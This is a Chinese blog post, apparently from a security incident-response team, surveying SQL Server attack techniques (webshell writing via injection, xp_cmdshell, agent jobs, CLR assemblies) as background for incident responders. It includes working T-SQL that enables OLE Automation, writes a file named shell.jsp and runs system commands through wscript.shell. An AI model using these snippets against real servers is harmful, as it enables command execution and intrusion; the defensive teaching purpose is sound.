大家好,我是本期作者神龙大侠。
近期有很多小伙伴反馈在遇到 SQL Server 应急时不知道如何下手。伴随着僵尸网络、勒索团伙及黑产的日益猖獗,SQL Server 也是微步应急团队在应急 case 中频繁出现的场景之一。为此,我专门对 SQL Server 攻击&应急技术进行了汇总整理。
本期文章分为上下两篇,本篇先向大家介绍下针对SQL Server的常见利用手法,下一篇会着重介绍下应急SQL Server时的种种小技巧,希望能对小伙伴们遇到 SQL Server 应急时带来帮助~
-
Windwos 身份验证:作为微软旗下的大将,自然而然集成了 Windows 体系的账户认证,可以将系统账户注册为 SQL Server 账户; -
SQL Server 身份验证:SQL Server 应用自身的账户体系,具备多种用户角色。
-
sysadmin:超级管理员,拥有 SQL Server 的所有权限,也是攻击利用的重点; -
securityadmin:安全管理员,管理和审核数据库的创建、登录等操作; -
setupadmin:安装管理员,管理服务器、数据库以及存储过程等; -
serveradmin:服务器管理员,能够对 SQL Server 服务器进行配置管理; -
diskadmin:磁盘管理员,管理磁盘文件; -
proccessadmin:进程管理员,管理SQL Server 的系统进程; -
dbcreator:数据库创建者,可以进行数据库创建和修改等操作。
(2)sa 账户
这里我们重点了解下 sa 账户即可。SQL Server 最重要的账户角色就是超级管理员角色“sysadmin”,其默认账户就是sa(“sysadmin”的简写),是攻击者入侵 SQL Server 需要获取的目标账户,也是我们重点防护和分析的账户。
2、存储过程
“存储过程”这名字听着高大上,实质上就是一个“SQL 语句集合”。
我们可以简单理解他就是在数据库下使用的一个脚本,它的语言就是 T-SQL。这些 T-SQL 编写的脚本被预编译后放在数据库服务器端,就是我们看到的存储过程,用户可以像调用函数一样调用需要的存储过程并传递参数来执行实现预期的功能。
一般我们说的存储过程可以分为以下三类,细分的话其实还有本地、临时、远程存储过程~~
(1)系统存储过程:SQL Server 本身为了实现系统的各项设定,内置了大量的存储过程,命名以“sp_”开头,在任意数据库中都可以调用,调用时不需要加数据库名;
(2)扩展存储过程:使用外部程序语言编写的存储过程,通常是以动态链接库(DLL)实现,用于客户端与服务器端或客户端之间进行通信的,命名以“xp_”开头,使用方法与系统存储过程类似;
(3)用户自定义存储过程:用户可以根据需要创建一个完成某一特定功能的存储过程。
先简单了解一下经常被用来从事恶意行为的存储过程,作为应急人员,会不会用不要紧,最重要的是混个脸熟,日后好相见~
3、程序集
在SQL Server中,你可以使用T-SQL 语言创建自定义存储过程,从SQL Server 2005(9.x)开始,SQL Server 集成了用于Microsoft Windows的.NET Framework 的公共语言运行时(CLR)组件,这意味着可以使用任何.NET Framework语言来实现存储过程、触发器、用户定义类型、用户定义函数等。
也就是说用用户只需要将需要实现的功能封装到.NET 动态链接库(DLL),然后注册部署到程序集,就可以实现如存储过程、触发器、用户定义函数等高级功能。
SQL Server 中创建程序集可以使用 CREATE ASSEMBLY语句。
注意:创建程序集时需可以指定其安全级别:SAFE、EXTERNAL_ACCESS 或 UNSAFE
2、SQL 注入 + webshell 一把梭
如果你有幸发现了一个存在 MSSQL 注入漏洞的站点,且具备管理员权限,以及知道了网站目录的绝对路径,就可以利用注入点来构造 SQL 语句来实现 webshell 写入。
3、攻城利器 — xp_cmdshell
提起MSSQL,别的你可以不了解,但xp_cmdshell必须要知道,它是SQLServer 渗透工作中最实用的扩展存储过程,可以用来执行系统命令。
4、“作业”让你更持久 — job
MSSQL Server代理是一个Windows服务,它可以被用来执行自动化任务。管理员可以设置定时代理作业,然后在MSSQL Server代理服务中执行这些定时作业,我们可以理解它就是 SQL Server 下的计划任务。
前提条件:
(1)目标服务器必须开启了MSSQL Server代理服务;
(2)服务器中当前运行的用户账号必须拥有足够的权限去创建并执行代理作业。
代码如下:
5、COM 组件利用(OLE 对象接口)
利用OLE对象接口,SQL Server提供了一些函数访问OLE 对象,分别是 sp_oacreate和sp_oamethod,sp_oacreate可以删除、复制、移动文件,sp_oamethod可以进行读写文件。这两个存储过程的本意是用来创建和执行脚本语言,一般在xp_cmdshell无法使用时可以采用该方法。
关于 OLE 对象接口的解释我们可以看看 AI 的解释,知道是什么就可~
相比xp_cmdshell,OLE的缺点就是执行命令不能直接回显,但是我们可以通过sp_oacreate和sp_oamethod将执行结果重定向到一个文件中,然后读取该文件来间接获取一个交互shell。代码如下:
# 检查OLE Automation Procedures状态(如果config_value和run_value都为0表示禁用)
exec sp_configure 'Ole Automation Procedures';
# 启用OLE Automation Procedures组件
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
# 写文件
DECLARE @OLE INT;
DECLARE @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:shell.jsp', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, 'test';
EXECUTE sp_OADestroy @FileID;
EXECUTE sp_OADestroy @OLE;
# 执行命令,将命令执行结果写入一个文本文件,然后读取该文件
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\test.txt'
DECLARE @ObjectToken INT;
EXEC sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}', @ObjectToken OUTPUT;
EXEC sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_OAMethod @ObjectToken, 'Open';
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 'whoami';
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'C:test1.txt', 2;
EXEC sp_OAMethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;
# 关闭 OLE Automation Procedures
sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE;
6、通过 CLR 自定义存储过程
CLR微软官方把他称为公共语言运行时,从SQL Server2005(9.x) 开始,SQL Server集成了用于Microsoft Windows的.NET Framework的公共语言运行时 (CLR) 组件。这意味着现在可以使用任何.NET Framework语言来编写存储过程、触发器、用户定义类型、用户定义函数等。
作为攻击者,可以通过.Net编写恶意的dll并注册到程序集中来实现自定义存储过程,其实现的过程也不复杂:VS Code编写程序,SQL Server中添加程序集,SQL Server中添加存储、函数调用程序集。
利用过程:
7、沙盒利用
沙盒模式SandBoxMode是一种安全功能。在沙盒模式下,Access只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。
例如,诸如Kill和Shell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。
微步在线应急响应团队为企业客户提供应急响应服务。当企业遭遇突发重大安全事件(APT攻击、勒索加密、数据窃取、漏洞攻击、主机被控等),微步在线可提供快速事件定位取证、隔离清除、溯源分析、安全加固等专业安全服务,帮助企业信息系统在最短时间内恢复正常工作,将事件影响降到最低。
如果发生安全事件,可联系微步在线应急响应团队,联系方式:400-030-1051
2. 内容引用,请注明出处:以上内容引自公众号“微步在线应急响应团队”
原文始发于微信公众号(微步在线应急响应团队):知攻善防~SQL Server 应急分析(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论